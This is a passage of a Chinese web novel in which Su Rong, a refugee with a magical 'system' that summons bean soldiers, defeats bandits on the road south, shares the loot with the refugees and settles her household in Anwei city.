大家看得一阵龇牙咧嘴,她浑不当一回事,明显熟能生巧。
而阮成泰也不闲着,知晓在旁边给姐姐打下手。帮忙捡点骨渣,抚平兽皮什么的。
甚至见着肉,没有吵嚷要吃。这倒让苏蓉对他的评价,高上一分。
可能只是往日被家人惯坏了,以后好好教,还有挽救余地。
有阮阿花开头,周围注意动静的流民们纷纷往前凑,争先恐后表示。
“我们也会收拾野物、鞣皮,小姐,请让我们帮忙!”
“干完能不能分只狼腿?一只野鸡或野兔也行!”
“一碗稀粥……”
“谢谢小姐方才施粥,我愿意免费帮忙……”
苏蓉留下喊话稀粥和免费的。将还没干活,便讨要狼腿及鸡兔的人全部赶走。
这种不懂感恩的人,记住嘴脸,下次施粥也没份!
并不是所有弱者,都值得可怜和帮助。
那些人自然心知肚明怎么回事,脸带惭怍、或者怒气的离开。
人多力量大,很快十来只野物,变成条条大小不一的肉块,用盐码住,火烤半干,用草绳栓起来堆放在马车角落。
尽管苏蓉让张如英做足准备,买了不少粗盐大料,也耗得差不多。在下一个城镇,她们必须补货。
苏蓉给参与帮忙的,无论大人小孩,每人发一斤糙米,三指宽一条肉。阮阿花姐弟,多给两张大饼。
喜出望外的流民们,跪下来直冲苏蓉磕头。
无论如何,有了这点粮食,她们又能撑过好几天。
苏蓉一行携带的三麻袋口粮,少了一袋,换来堆积成小山的熏肉干,也不觉得很亏。至少他们不用一直呆在这里收拾猎物,能够很快起程。
跟随马车的流民,少了部分,剩下的人品更值得信赖。
晚间队伍停在又一处荒郊野林扎营,袅袅炊烟,这次不单是苏蓉一行的锅里,飘出肉香米香。
第131章 谁跟你我们
金冬梅带着谭敖和小兰,没来得及去捡柴火,流民们你一把我一把,争相给她们捡来送上门。
苏蓉过意不去,要给他们分点糗粮,流民们双手乱摇表示拒绝。
苏蓉已经帮大家很多了,他们不能太贪婪。何况跟随苏蓉一行南下,还指望苏蓉的保护呢。
张如英熬煮肉粥,加一把阮阿花自己没舍得吃,送来的野菜根,笑吟吟看着锅里。
都是懂人情世故的,和这些素昧平生的流民们一起逃荒,倒不是很难接受的事了。
陈家两兄弟趁着等饭功夫,又跑到苏蓉一行营地来。自来熟寒暄两句,转入正题。
“苏娘子,再往前,出宜阳县地界了。前面是一带荒山野岭,听说土匪强盗出没,我们要小心!”
苏蓉……
谁跟你“我们”上了?
不过对方好意提醒,她还是领情,点头表示知道。
陈家老大讪讪不好好意思继续说,陈家老二忍耐不住上前一步。
“我大哥名叫陈明喜,我叫陈明欢。苏娘子,请问明天上路,安全起见能不能让老弱妇孺走中间,我们和你家的侍卫分别走前头和断尾?”
苏蓉一听,脸色顿时沉下来。冷冷道:“我答应过什么吗?需要听你们吩咐安排人手,保护这些人安全!”
本想着遇到麻烦,让铜甲兵顺便解决了便是。这些人脸多大,竟然将她的沉默,当作默许!
陈明喜慌忙将自己兄弟拽到身后,连连拱手作揖。
“苏娘子,我这小弟习武出身,一向不会说话,请您多担待。前方路途险恶,听说近期好几股匪徒盘踞山头,劫掠过路人,我们要当心?”
苏蓉听他说得诚恳,连敬称都给用上了,气消一半,看向巴阳。
巴阳疑惑道:“往日我也走过这条路,没听说有成气候的土匪?”
“以前世道没乱时,只有几个小毛贼躲在山里,偶尔出来偷鸡摸狗,自是不怕。”
陈明喜叹着气回答:“现在太多人遭难,流离失所,难民剧增。有些活不下去的,还有生出邪念的,便铤而走险落草为寇。”
“官府根本顾不过来。我们来时也带了好几名护卫,如今只剩下我们兄弟了。”
没遇上苏蓉这一行人,他们都不知道能不能平安回家。因此,无论如何想要与苏蓉一行结伴。
怎奈苏蓉既不接受送上门的钱,又软硬不吃,倒叫他们犯难。
“苏娘子,我们家世代经商,不止在安卫城扎稳脚跟,其他城镇也有我们的人脉。”
为了取信苏蓉,陈明喜主动自曝家门:“只要您愿意帮助我们这一回,以后有什么事,我们陈家定当效犬马之劳!”
他拼了命,要将自己的姨母,定亲的表妹,还有其他几个姐妹平安送回云州。
在苏娘子这里低三下四,好过眼睁睁看着要保护的人,落入那些匪徒手中受辱。
苏蓉略为踌躇,想到对方把话说到这份上了,结个善缘,便于日后在安卫城落户生根,没什么不妥,便缓和语气开口。
“那么,明天你们便跟在我们马车后面。我倒要瞧瞧,是什么不长眼的匪徒,敢来劫掠我们这么多人。”
陈家两兄弟松口气,双双向她道谢。
目送对方离开,大家有点紧张。
张如英惴惴不安:“苏丫头,听说那匪徒都是成群结队的。万一涌上来,你……请来的护院能拦住那么多人?”
对方可不是手无寸铁、只想着抢吃的流民。
苏蓉一哂。
“乌合之众,他们比得过宜阳县的三百骑兵?”
谭敖认真道:“大姐,我们在明,他们在暗,还是要提防他们偷袭?”
苏蓉有些稀罕这孩子的沉稳劲儿,老成持重,忍不住摸摸他的头,笑起来。
“敖儿说得对,明天上路,你们呆在车里,无论听见什么动静都别冒头。巴叔,你也不要鲁莽行事。”
巴阳点头:“我会注意路边动静,给你们提醒。”
吃过饭,苏蓉把叶清辞送的天蚕宝甲穿在身上,外面用厚棉衣遮住。
她内心无比清楚,她才是这一行人的希望!所以,她首先要保护好自己。何况是叶清辞赠送的东西,谁也不能给。
次日大早,队伍再次起程。
苏蓉一行的马车在前,陈家骡车在后,流民们扶老携幼走中间。
通过陈家两兄弟宣传,众人知道苏蓉应承保护他们,这安全感十足。本来快枯槁的身体,仿佛又注入一股活力。
而且越往南走,他们生的希望越大。
因为战乱波及不到的地方,山清水秀,天气远没有北方恶劣。偶尔去找柴火,甚至能挖到地下根茎,采集到野生果实干。
若平安抵达下个城镇,只要不碰到金竹海那类人,他们大有希望在当地落户。
毕竟他们路引没遗失,能逃到这里来,多少有些生存本事。
连看似最弱的阮阿花姐弟,也是猎户后代。
不得不说,这么多人一起行动,严重拖慢行程。巴阳将马车赶得极慢,步履沉重的流民们,还是不太能跟上车辆。
晚上陈家兄弟寻了处宽敞坡地扎营,能够居高临下看到远处官道。附近没有水源,大家只能啃自带干粮和水。
陈家几个女人熬了大锅狼骨汤,让两兄弟给苏蓉一行送过来一碗。
苏蓉分着尝了点,比张如英手艺差些,但对方大料放得足,狼肉也是烹饪出香味。
陈家兄弟见到苏蓉,越发自在了。端着碗,用树枝在地上画附近的地形图,和苏蓉等人商讨明日路线。
通往下一个城镇有数条岔路,因为有马车骡车,加上土匪威胁,他们不能走山路捷径,只好绕远路走官道。
有敞亮路走,苏蓉自然不会硬找苦吃。问过巴阳后,同意一起绕路。
陈明喜很高兴苏蓉越来越好说话,将自家珍藏的点心,分给小兰和谭敖一人一块。
来自大城镇的绿豆糕,甜得小兰两眼眯起来。谭敖见她爱吃,把自己那块也悄悄塞过去。
苏蓉微笑。
对于陈家兄弟的好感,立时蹭蹭上涨一截。
夜里入眠,搂着小兰,像抱了个小火炉,温暖无比。隐隐约约,听到帐篷外刷啦啦的响声。
既像风雨,又像许多人的脚步,碾踏过山路荆棘。
第132章 实力摆在那里
苏蓉猛然惊醒!
异常警兆,升腾在心中。
她一骨碌爬起来,小兰感觉到一股寒风钻进被窝,哆嗦用手抱紧自己。苏蓉连忙给她掖紧被子,见小兰没有睁眼,便立即钻出帐篷。
尚未看清楚怎么回事,巴阳提着砍刀小跑过来,压低声音:“苏娘子,情况好像有些不对?我听见……”
话音未落,远处响起一声短促凄厉的惨叫!戛然而止,像从远处流民营地里发出,被人中途掐断。
两人顿然色变。
来不及交谈,张如英几人全部惊醒过来,手足并用,钻出帐篷。
“出什么事了?”
张如英紧握不离身的菜刀,仓皇四顾。
小兰揉着惺忪睡眼,一头扎进苏蓉怀里。苏蓉连忙把她抱在怀中安抚:“别怕,姐姐在。”
注意到守夜的五名甲兵,有三名因时辰到自动消失。她暗地掷下三粒豆子,重新召唤出三名。
大家紧张害怕地张望发声来源,谁也没注意到甲兵消失后再现。
陈明喜仗剑冲过来,急切大呼:“不好了,苏娘子,我们不知被哪里来的一群人包围?他们在抢掠袭击睡在外沿的流民。”
苏蓉放眼眺望远处。夜幕下山坡,影影绰绰有无数黑影在蠕动、碰撞。不时发出呼喊打斗,哭喊的声音。
照对方偷袭推进的速度,很快会抵达她们这里。
她知道陈家人平日在她和流民群中周旋,隐隐成了流民们的首领,当机立断。
“让跟随我们的流民,全部后撤,集中到这里来!年轻力壮的男性手持武器站在外围,老弱妇孺居中!”
陈明喜抹把脸,重重点头,跑去大声疾呼,传苏蓉的话。
不一会儿,一直跟随苏蓉一行的流民们,全部奔向苏蓉的营地。
陈明欢赶着骡车,与苏蓉的马车并靠。陈家女人,也与金冬梅、张如英等人紧挨。
流民中稍微年轻力壮的男人,手执自家菜刀柴刀,捡来的棍棒,将妻儿老小死死护在中间。
最外围是苏蓉的五名铜甲兵和陈家兄弟,呈圆形环卫流民们。
有苏蓉的甲兵在,每个人安心无比。
待得夜袭的队伍冲近前,逐渐露出庐山真面目。苏蓉等人惊异地发现,袭击他们的,一部分竟然是白日没在苏蓉这里捞到免费好处的人!
以为他们羞惭自行离去,结果是窜通一起,杀大家一个措手不及。
他们身后还有许多穿着五花八绿的人。脸生横肉,目光凶狠,挥舞手中沾满鲜血的大刀,看着流民群中年轻貌美的女子,发出桀桀怪笑。
流民们心凉一半。
这些该死的东西,竟是把附近的土匪给招来了啊?
陈家兄弟手脚利落,双刀齐出,瞬间收割走靠近两人的脑袋。
鲜血溅在附近人身上,没谁吭声,反倒是心里叫好!见过苏蓉手下护卫出手,大家对血腥有一定免疫力了。
苏蓉才不管对方是流民还是土匪,敢来自家地盘打劫,吓到自己家人,那就是找死!
眼见黑压压的暴徒冲向营地,苏蓉直接给甲兵下命:“三人保护营地的人,两人杀尽所有夜袭者!”
话音莆毕,两名甲兵化为两道光,卷向潮水般涌来的暴徒。
陈家兄弟拼死拼活缠住一名像是土匪首领的大光头,对方脑袋突然如同皮球飞向高空。颈腔的血,狂飙陈家兄弟一身,让他们洗了个热血浴。
两人顿感英雄无用武之地。
退后几步回到人圈中,只见两名甲兵出入敌群中,如无人之境,捏臭虫般将一个个疯狂的暴徒,轻松掐爆!
营地流民们冷眼旁观,没有感到害怕,反而恨不得鼓掌叫好。
这些只会挥刀向更弱者施暴的东西,不配活在世上!
他们的行为,配得上自己的苦难。
但凡有漏网之鱼冲进营地,三名虎视眈眈的甲兵长戈或大刀一挥,唰唰唰!对方惨叫没来得及发出,全部被斩为数段,血肉堆成一滩臭不可闻的垃圾。
大家跃跃欲试,拿着各种棍棒菜刀准备帮忙,结果根本插不上手。
陈家兄弟敬仰地望着苏蓉和她指挥的铜甲兵。
得亏他们慧眼识珠,抱住这么一根粗壮的金大腿!
苏蓉面沉如水,心里听着系统播报的声音,却是乐开了花。
虽然这些该死的渣滓打扰她的睡眠,不过既然是送上门的经验,她笑纳了!
敌人越猖狂,她金手指越强!
陈家兄弟的姨母,被几个媳妇女儿搀扶坐在火堆边,怀里紧紧搂住自己唯一的孙子。眼见铜甲兵大杀四方的样子,不由得震撼不能语。
片刻后,潸然泪下。
“若是当初夫君手下有如此能人,边关城镇,岂会落到蛮贼手中?”
她夫君和众多边关士兵,也不会战死殉城。
张如英等人听得真切,诧异地看向她。
没想到这一家子妇女,竟然是边关守将的家眷?
一时间,倒是生出佩服之心。边关虽说落入敌手,可是听闻大部分守城将士死战没有投降。
该付责任的,应当是利欲熏心的四皇子!
东方欲晓,篝火逐渐只剩余烬。营地之外尸横遍野,残肢断足一地,血流漂杵。昨夜袭营的暴徒,无一漏网。
陈家兄弟抓住一个逃跑的流民,从他口中得知,这群山匪正是他们通风报信招来。
因为从苏蓉这里没有占到便宜,离开时正逢土匪。为自保也为报复苏蓉一行,故意将对方引来袭营。
陈家兄弟当众一刀,结果了这流民。
这种小人留下也是后患。
苏蓉满意地听着系统声音在脑海里响起。
“恭喜!当前撒豆成兵能同时召唤十人,有几率生成一名白甲神兵!每天三次,一次四个时辰……”
白甲神兵?
物以稀为贵,那么白甲兵是比铜甲兵更厉害的存在了!
苏蓉按住怦怦跳的心口,突然领悟到为什么有人会生出野心。
因为实力摆在那里,不容许低调!
或许乱世中,她的路并非逃荒?
陈家兄弟变得越发恭敬,代表流民们来请示她下一步的打算。
苏蓉回过神,望着众人信赖的表情。
“先组织人手,把尸体掩埋了吧,不然怕以后造成瘟疫。另外,收集尸身上的财物,过后分配给参与劳动的人。”
不劳动、偷奸耍滑者不得食!
“好!”
陈家兄弟听命行事,很快去招呼流民们。
苏蓉带着自己一行人,静静坐在营地里看众人忙碌,汗流浃背打扫战场。
第133章 送人头
她确实可以召唤甲兵干这种小事。力大无穷的甲兵分分钟能完成任务,顺带涨经验。但她就是要跟随她的流民们,参与其中,自己动手。
升米恩斗米仇。
她不养没用的废物,到时容易反噬自己。
就连小兰和谭敖,在家也要做力所能及的劳动。
她带着张如英等人烘烤未干透的兽肉,收拾行李帐篷。约莫两个时辰后,陈明喜前来回报,手捧一包金银细软。
“苏娘子,约莫一百二十余名匪徒,包括出卖我们的流民,全部就地掩埋。收拾出三百余斤干粮及两百来银子。”
“大家商量后决定将钱全部献给苏娘子。干粮您也拿大头。剩余的,每家每户发一点。”
他说这话惴惴不安,生怕苏蓉鄙夷他们贪婪,不懂感恩。
毕竟匪徒几乎是苏蓉手下干掉的。没有苏蓉,在场人可能今晨阳光也见不到。他们还该献出家产感谢苏蓉才对。
然而,好不容易逃难至此,流民们无一不是钱粮耗尽,妻离子散,濒临绝境。若再不分点粮食,怕是很多人没力气走下去,只能倒毙路边。
就连陈家自己,车上也没多少余粮了。
苏蓉没吭声,接过那沉甸甸的包裹放在地上打开。只见里面是一堆沾满鲜血的铜板、散碎银子。还夹杂一张银票,也不知从谁身上搜出来的?
抽出来看看,一百两。
她直接收起那张银票,手指剩下的东西,对陈明喜道:“剩下的钱你拿去分给大家吧,干粮我不要,你也全部分发下去。”
马车装满行李肉干,加上她们这么几个人,委实不能再增加负重了,不然得把马生生累死。
陈明喜有点不相信自己耳朵,看着推回来的一包钱。
一百多两啊!还有那么多粮,苏娘子不要?
这些本该全部属于苏娘子的!果然他没看错人,苏娘子就是那种嘴硬心软的人。
他深深向苏蓉弯腰作揖,一揖到地。
“我替大家叩谢苏娘子大恩大德!这次若能平安归家,大难不死,全仰仗苏娘子义薄云天。”
苏蓉失笑。
“陈公子,你不辞辛苦做这个牵头人,担当起带领大家的作用,也是急公好义呀?”
陈明喜被夸得面上一热。
“相逢是缘,风雨同舟,大家才能一起活下去。”
苏蓉点头,让他拿上钱,去分给那些眼睁睁望向这个方向的流民。
听到陈明喜宣布分钱分粮的好消息,众人喜出望外。
有救了!
苏娘子这是救苦救难的活菩萨转世啊!
每一个领到钱粮的人,都是双手合十,趴在地上遥遥冲苏蓉磕头。有了这笔救命钱粮,他们又有希望继续接下来的逃荒旅途。
张如英等人骄傲不已,虚荣心爆棚。
众人就算拜的不是自己,也与有荣焉。
土匪暴民这波送人头,让追随苏蓉一行的流民,每家每户分了至少一两银子两斤多糗粮。这些干巴巴的东西,一点点便能当顿饭。
大伙收拾行装,重新簇拥两辆马车骡车上路。有威武的铜甲兵护送,倒是希望沿途多些不长眼的恶徒送上门。
他们心念成真。
走上陈家兄弟之前示警过的那条道路,总有盗匪出没。口称此山是我开,此树是我栽。
苏蓉来者不拒,一路打杀。搜刮出好处,与自己的追随者们分享。
等走到下一个城镇浐县,大多数流民养得精气神十足,皮包骨的身子还长出肉来。
浐县较偏远,土地贫瘠。太平时期劳动力流向外界,现在世道一混乱,成了最佳避祸地点。
当地县令抓住机会出榜安民。外来流民只要在衙门出具路引证明,能交出一定数额的手续费,便能安排在浐县落户。
开荒有开荒的奖励措施,手艺人有名目繁多的作坊招工。
若不是与叶清辞约定去云州安卫城,苏蓉也想买块地,在此定居下来。
她现在手里的钱,足够她和家人安逸过完一生。
跟随的流民,大多数决定留在这里,不再往前走了。拖苏蓉的福,这一路分到的钱,足够他们支付安家落户的费用。
阮阿花姐弟,也跟在流民群中,向苏蓉磕头辞别。
苏蓉扶起她,悄悄给这个坚强的猎户女孩,又塞了二两碎银。
人各有命。
这对姐弟最终什么结局,不得而知。
准备离开浐县时,看着寥寥无几的同伴,里面依然有苏蓉一行的身影,陈家人又惊又喜。
“苏娘子,你们这也是打算去云州?”
浐县再往前,只能是云州。
苏蓉笑道:“是。我们最终目的地,其实和你们一样,也是云州安卫城。”
这次,她不再隐瞒自己的行程。
一路结伴同行,患难与共。双方生出初步信任和默契,没必要继续隐瞒。
陈明欢大喜:“那太好了!”
走到这里,少掉大半人本觉不安。但见苏蓉一行犹在,顿时放了一百二十个心。
陈明喜忙相邀。
“我们兄弟熟悉县城情况,如果需要买东西补货的话,我带你们去。今晚进城,还可以先找家客栈好好休息,沐浴更衣。”
一听能洗澡换衣服,大家眼睛亮了。
苏蓉当即决定,跟陈家人进城。
到了这里,陈家兄弟果然展露出自己长年跑商的优势。
熟门熟路带苏蓉一行进城,找家干净客栈梳洗。然后联系以前的合作伙伴,物美价廉买齐市面没有、大家又需要的东西。
再次出发,已是次日正午。焕然一新的众人,重新踏上南下旅途。
这次沿途所见,流民少了许多。能通过浐县继续往前走的,大多是有家底、有身世背景的人。
除了来往本地人,几乎看不到靠两条腿走路的流民。
巴阳感叹:“还是大后方安稳。这回送你们到安卫城,我也干脆在那里定居好了。”
有陈家这种地头蛇照拂,想必帮他办户籍不是难事。
张如英对他感兴趣:“巴哥,你家里还有什么人?以后也把她们一起接来安卫城吗?”
听得张如英不知什么时候改变对巴阳的称呼,苏蓉心中蓦地一动,仔细打量张如英的神情。
不过张如英隔着车厢板,和马车头赶马的巴阳说话,没有注意。
第134章 找个人再嫁
“我哪里还有家人!”
巴阳苦涩无比,挥动马鞭回答。
“我爹早逝,妻女被害后老娘郁郁而终。多亏叶大人来到宜阳县后,才为我报了血海深仇……巴家,如今就剩我一个人了!”
人到中年,家破人亡,人生最大悲剧莫过于此。
张如英一时呐呐说不出话,片刻才试图安慰他:“巴哥,别难过……你正值壮年,还有机会再组建一个新家。”
巴阳沉默,不自然哂笑。
“我这样的人,一穷二白,连个窝也没有,谁瞧得上?倒是张大妹子你人尚算年轻,又有一手好厨艺,完全可以找个人再嫁!”
苏蓉瞅着张如英哑口无言,臊得把悄然涨红的脸伸到车窗外吹冷风,不由得忍俊不禁。
没想到伶俐泼辣半生的张厨娘,还有这样害口实羞的一天?
想来一路旅途多难,大家彼此相扶相依,两人年龄相当,又都有不堪回首的过往,两颗心便不知不觉靠拢了。
车里还有孩子,而且两人才刚有那意思,她不便在这当儿出声撮合两人。装作没听见没看懂,抱着小兰,只管教小人儿数数,从一到一百,再到一千。
谭敖和金冬梅都对苏蓉教授的加减法感兴趣。哪怕只是简单计数,也认真地跟在旁边学。
苏蓉看着注意力异常专注的谭敖,寻思叶清辞对这孩子的夸奖。盘算等安定下来,送其入学。
既然收养了,那便是一家人,要全心全意为其打算。
长途一个月后,她们终于抵达目的地。
看着陈家女人们找出车上行李藏着的锦绣华服,佩戴上华丽头面准备进城,苏蓉才惊觉自己一行,压根和对方不是一路人。
陈家是大户人家。
陈家兄弟的舅父,是为大靖捐躯的边关武将。他们的家眷,才是真正属于眼前这座恢宏富饶的城镇。
而己方一行灰头土脸,翻遍马车只有一两件补丁打得少的衣裳,别说首饰。
跟在陈家骡车后面,她们更像是陈家人奴仆。
但没有奴仆坐马车,主子坐骡车的道理。关卡守兵,来回审视两家人状况,眼中怀疑快凝成实质了。
看来陈家人虽有一定家世背景,但处于战乱阶段,安卫城的县令格外重视巡查,提防奸细混杂。
**喜废了番唇舌打算说服守将,想直接带领苏蓉等人入城。结果守将不验明白苏蓉一行的身份不罢休,倒让他尴尬了。
若是苏蓉一行拿不出有力证明,被拦在城外,他之前说照拂苏蓉等人的话,便成了空口许诺。
为难之际,苏蓉被巴阳扶下车,对直走向守将,拿出一份盖着红戳子官印的路引,递给对方。
“官爷,我们是从宜阳县那边过来,迁居安卫城有官府证明的,请你验看。”
守将警惕地打量苏蓉一行。尤其几名虽然穿着普通布衣,但身高体壮一望便知不是普通人的甲兵。低头看了看路引打开。
见到上面大小不一的几个红戳印后,面色迅速有了变化。
老百姓不知道,作为常年把守城门的守将心知肚明,官府有一套内部通行的原则。
有些身份特殊贵重的人,官府会出具特别通行令,任何城镇守军不得留难,必须以礼相待。否则层层追责,甚至当事人处**不为过。
苏蓉这份路引,盖的不止是宜阳县的官印,还有青宫印信。
虽不明白青宫印信怎么就落到宜阳县令手中了?而且太子殿下已薨逝,但他留下的印信,新帝没下令废止就代表有效用。
他一名小小城门官,长几颗脑袋敢多问这些大人物的事。
当即合上路引,弯下腰,双手毕恭毕敬将之举过头顶,还给苏蓉。
“恕小人有眼无珠!夫人你们可以随意入城,请问是否需要小人派人护送?”
众人错愕地瞧这守将,不懂他为什么突然前倨后恭。陈家人不禁对苏蓉一行多了打量,看来他们不止低估了对方,甚至一直在低估对方。
苏蓉收回路引,暗道叶清辞给的路引果然有用。看来那封推荐书,也要给县令叶兴贤看看。
能开后门顺风顺水过日子,为什么
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要有苦硬吃?无论古代现代,人情大过天!
进城后与陈家人分道扬镳。
陈家兄弟的舅母,带领自家儿女亲自过来向苏蓉道谢。
**喜殷殷表示,等苏蓉一行安顿好,再登门拜会。同时留下自家地址,叮咛有什么困难,陈家愿效犬马之劳。
待陈家人离开后,张如英等人全部看着苏蓉,等她安排示下。
至于随行几名甲兵,早已不见人影。巴阳以为苏蓉遣散了,张如英等人知道是苏蓉收回了。
苏蓉找家干净酒楼,进去点几个小菜吃饭,顺便商量接下来该怎么办。
首先问张如英和巴阳的打算。
张如英满怀期待:“苏丫头,我还想开个小饭馆……你愿意和我再合伙吗?”
苏蓉笑着点头。
“张婶子,凭你这手艺,我不参与其中,简直是把财神爷往外推呀?”
而且开了店,还能把家里几个小的派出去管账,学习厨艺,跟着张婶子见世面。一举多得,当然要投资!
张如英一听笑眯了眼。
有苏蓉加入,她无比安心。要不她一个寡妇,真是没什么底气。
“我……”
巴阳吭哧吭哧。
“张大妹子,店里招人吗?我有马车,可以帮忙拉货,接送客人。”
张如英面色些微泛红:“巴哥,你不嫌弃一开始小店待遇给得差,你就来!”
店里有个男人,还是巴阳这种五大三粗的,安全感蹭蹭上涨。
苏蓉瞅着这俩完全把自己撇在脑后的样儿,忍俊不禁。
看来一系列灾难后,人生总算要甜起来。
拿出两张五十两的银票,给张如英和巴阳一人一张。
两人惊得瞪圆眼睛,连忙拒绝。
“苏丫头你这是……”
苏蓉笑道:“你们知道,这一路咱们洗劫土匪强盗,很是收刮了不少。咱们一起的,都出了力,理应平分。”
“可那都是你的功劳!”
两人异口同声,坚决不肯收。
苏蓉平静而坚定地把银票塞在他们手里。
第135章 眼瘸了
“巴叔一路赶车,晚上守夜,十分辛苦;张婶子保证我们这些人两餐无忧,任劳任怨。怎么能说没有功劳?”
“一个队伍,职责分工不同。理应有报酬,不过多寡而已。你们安心收下吧!咱们迁居这里,什么都要从头开始,没钱可万万不行。”
听她这么说,张如英和巴阳感动得不行。银票接在手里,也是满满底气。
两人恨不得明天就把店开起来,好回报苏蓉。
张如英饭没顾得上多扒两口,盘算计划:“有了钱,看这安卫城富裕,在大后方又没有战乱,不如这次我们开家大点的酒楼?”
“不成!”
巴阳反对。
“开酒楼岂是那么简单的?不仅要有好厨子,官府地痞那边,也得好好周旋。还有时局不稳,谁知道战火会不会蔓延到这里来?”
“我们初来乍到,万事得小心。万一把钱全投进去,血本无归便麻烦了!”
除了谭敖认真在听大人们讲话,金冬梅带着小兰,一个劲吃吃吃。
她们这辈子,第一回来酒楼,第一回吃这么多没见过没尝过的好饭菜,那不得可劲往嘴里炫?
苏蓉掏出帕子给小兰擦粘在脸上的酱汁,同意巴阳的意见。
“巴叔的话有道理!我们先开家小饭馆投石问路,熟悉这个城镇后,再考虑如何做大做强。”
听苏蓉也这么说,张如英立即转变观点:“那就先开小吃店!吃完饭,我们先去衙门落户,再找房子?”
有苏蓉给的这五十两银子,她激动得不行。
加上她的存款,买间大宅子没问题。只是考虑要开店,不然还是租房吧?以后开了店,像以前那样住店里,能省一大笔开支。
巴阳同样激动。
视线隐晦落在张如英的身上,枯槁近木的心脏,仿佛注入一股新鲜活力,有了想要重新活下去的欲望。
一顿饭吃得大家挺胸凸肚走出酒楼,巴阳驾驶马车,问路将苏蓉等人送到衙门。
苏蓉下车,给看门衙役塞上一串铜钱百文,自称宜阳县来的。有叶大人书信,托对方转告县令大人。
那衙役知道自家大人与宜阳县令是同宗族关系,不敢怠慢,急忙向内通报,不一会儿快步而出。
“请诸位随我入内见县令大人!”
巴阳也要顺便办理户籍,托那衙役照看自己马车,跟着苏蓉等人,一起走向县署內宅。
这会儿正当午后,县令叶兴贤刚吃完饭,一身便衣,在县署內宅准备午休。听说宜阳县有信使到,想到自己那堂侄,顿时整个人精神起来。
忙吩咐衙役去请人,自己收拾一番,等在正屋大厅。
不一会儿,苏蓉一行男女老少,几个人进了屋,看得叶兴贤一阵懵。
堂侄托人捎信,请的这是什么信使?
苏蓉上前一步,拿出叶清辞给的推荐信,按照以前打工培训出来的规矩,弯腰捧过头顶,恭敬呈给对方。
“大人,这是宜阳县叶大人给您的信。”
叶兴贤直接接过信,回到座位拆信。
苏蓉等人立在屋中,他没让座;带路衙役等在旁边,也没叫退下。
他以为苏蓉就是个普通百姓,打算看信后随便赏点钱,打发几人离开便是。
没想到这一拆开信,一看一个不吱声。
他那位好堂侄,简单问候他几声,说明自己即将离开宜阳,调任至柏州。然后——
满满两页纸全是托付他照顾苏蓉的话!
什么苏娘子命运多舛,十分可怜望他这堂叔多上心啊;什么苏娘子家有几口人需要安顿啊;什么苏娘子年轻,拜托堂叔盯着点防人觊觎啊……
叶兴贤的沉默,震耳发聩。
一边看,一边不免多瞅苏蓉几眼。
他这好大侄子,莫不是贬谪小县城后,眼瘸了?
京城当年美女如云,争相要嫁给堂侄,没见堂侄动心。后来出了公主的事,大家以为堂侄这株铁树,万年没开花的机会了。
结果,这……
苏蓉被他瞅得浑身汗**直竖,怀疑叶清辞在信里写了什么,让叶县令用这么极其古怪的眼神瞄她?
尴尬气氛在厅内蔓延,连旁边张如英等人也觉出不对,诚惶诚恐。
叶兴贤最后逐字逐句,看了第三遍信纸。
没错,封印完好,
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笔迹确认是好大侄儿的!他终于万般无语地抬头,用某种全新的眼光,审视面前极可能升任成自己侄媳的人。
暗想,幸好堂妹夫早早过世,堂妹因堂侄断了姻缘路,抑郁病倒在老家床上。
不然,看见这个可能成为自家儿媳的人,是被休弃过的农家妇,还不得立马从床上跳起来?
嗯……也不对。
得知独苗苗儿子重新有了第二春,自家有机会抱孙子,哪怕对方是弃妇……额,是个母的她都会喜极而泣吧?
叶兴贤心情复杂极了。
他那惊才绝艳的大侄子,老叶家走出去的最大骄傲……看上灰不溜秋的农妇……
真是好白菜被猪拱了!
没错,一番逃荒途,苏蓉饱受风吹雨打,那肤色又糟糕出一个新高度。
一边心里唾弃,一边面上不得不挤出僵硬笑容。
“大侄……咳,苏娘子!”
叶兴贤道:“谢谢你们远道而来,送来我堂侄的消息。这么说……以后你们是打算在这安卫城,安家落户了?”
“是。”
苏蓉客气回答:“还请大人容许我们在这里落地生根。”
“苏娘子真是太客气了!”
叶兴贤讪笑:“你是我那堂侄点名要关照的人,本官自当尽力。本官这就找人来,带你们去办乔迁手续。具体要求,你们告知吏官就行。”
说罢,将手下主簿唤来,吩咐他带苏蓉等人去办手续。
至于流程手续费好处费什么,不可能有。大人亲自打招呼,主簿诚惶诚恐,唯恐办得不快不好,一路绿灯加急,给苏蓉等人录好城廓民户籍。
只有张如英要开店,登记的是商户。
送走苏蓉等人,叶兴贤摸着桌子慢悠悠坐下来。
不行,他得缓缓!
堂侄竟然给他找回来这么个堂侄媳……
观察那苏氏表情,似乎对很多事一无所知。搞不好,他堂侄还是剃头担子一头热,单相思!
天呐撸……
堂弟啊,真不是我这大哥不帮你!
你这儿子久不近女色,又呆在那穷乡僻壤一年,完全不知美女贵女为何物了?
第136章 再置家业
走出衙门,其他人都高兴,唯独苏蓉不太笑得出来。
那位叶县令审视她的眼神,意味深长,她不可能感觉不出内在的不以为然。
只是想到必须有个落脚点,徐徐发展,面上堆满了笑不得不逢迎。实际她十分讨厌这种感觉。
好在顺利办妥户籍,接下来有资格在安卫城买房置地,经营事业。这位叶大人,应该没什么机会见面了。
她猜测叶清辞一定是卷入几位皇子的纷争,站位夺天下去了。道不相同,不知以后有没有再见之期。
无论成功与否,叶清辞走的是条荆棘路。活着,他不一定能想起她;**,所有雄心壮志情意心动,化为泡影。
县衙对面是牙行。抱着新鲜出炉的户籍,几个人一脸期待看向苏蓉。
“我们先去看房子?”
张如英想的是尽快把店址确认下来,然后有个住的地方。
巴阳犹豫下:“你们先去看,我去定一家干净客栈,把马刷洗喂好了再来。”
他不打算另找房子,就住张如英开的店,所以没必要跟着去牙行。
苏蓉询问家里三个小的意见,都愿意跟随去牙行长见识。便让巴阳赶马车离开,一行人过街走向牙行。
这里布局与宜阳县差不多。但没有那么多人,秩序也不乱。
进门便有人登记询问。客人走中间正门;找工**去左边院子;右边门平时关着,只有输送成批奴仆时,才会打开让车辆进出。
每道门都有青衣短靠的大汉带刀把守,防止骚乱。无形中也震慑来往过客,不敢大声喧哗。
苏蓉一行昂首挺胸,直接在小厮指引下通过中门。回想当初在宜阳县的狼狈,现在真是天翻地覆的改变。
正院是四合院形式。正屋几间房属于金牌牙人工作间。右边一排厢房属于银牌牙人。
至于苏蓉一行这种,初来乍到,穿着打扮明显土气。小厮保持客气没将她们赶走,反而引导入正院,展示出超高职业素养和眼光。
当然,也只有左边厢房的铜牌牙人和学徒牙人,愿意接待。
苏蓉一行没得挑,被带进一间灰扑扑的牙房。
金牌牙人一人一间;银牌牙人两人一间;而铜牌牙人,三至五人一间,加上学徒,那真是一个房间挤满人。
